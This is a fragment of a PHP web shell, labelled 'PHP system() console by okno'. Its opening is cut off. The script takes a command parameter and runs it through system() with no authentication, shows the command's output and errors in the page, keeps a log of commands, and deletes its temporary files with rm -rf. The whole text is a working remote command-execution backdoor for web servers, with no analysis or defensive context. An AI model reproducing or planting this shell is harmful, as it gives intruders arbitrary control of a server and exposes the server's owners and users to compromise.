________________________________________
';
$script = "shell.php";
$logfile = "log.log";
$stdout = "shell.out";
$stderr = "shell.err";
$tmp = "shell.tmp";
$cr = "
";
echo '
PHP system() console by okno - main@pawelzorzan.eu
';
// Primary Controls
if(!is_writable("."))
die("Fatal Error : Deam! Check your permission in this dir!");
if(empty($command))
exit;
echo '- Clear Log File
';
echo '- View Log File
';
if ($log == view)
system("cat $logfile");
if ($log == zero)
system("rm -rf $logfile");
echo '
';
// Logging System Command
$string = "$command
\n";
$log=fopen($logfile,"a");
fwrite($log,$string);
fclose($log);
// Output Stanard System
echo "
command: $command
";
$cmd = system("$command >shell.out 2>shell.err");
$openf=fopen($stdout,"r");
$openo=fopen($tmp,"a+");
while(!feof($openf)) {
$line = str_replace("\n", "",fgets($openf, 4096));
if ($line != $null) {
$ok = $line . '' . $cr;
fwrite($openo, $ok);
fwrite($openo, "\n");
}
}
fclose($openf);
fclose($openo);
echo "
Standard Output:
";
echo "";
system("cat shell.tmp");
echo "";
// Stanard Error System
echo '
Standard Error:
';
system("rm -rf shell.tmp");
$openf=fopen($stderr,"r");
$openo=fopen($tmp,"a+");
while(!feof($openf)) {
$line = str_replace("\n", "",fgets($openf, 4096));
if ($line != $null) {
$lm = $line . '' . $cr;
fwrite($openo, $lm);
fwrite($openo, "\n");
}
}
fclose($openf);
fclose($openo);
echo '';
system("cat shell.tmp");
echo '';
echo '
________________________________________
';
// Cleaning System
system("rm -rf shell.err");
system("rm -rf shell.out");
system("rm -rf shell.tmp");
?>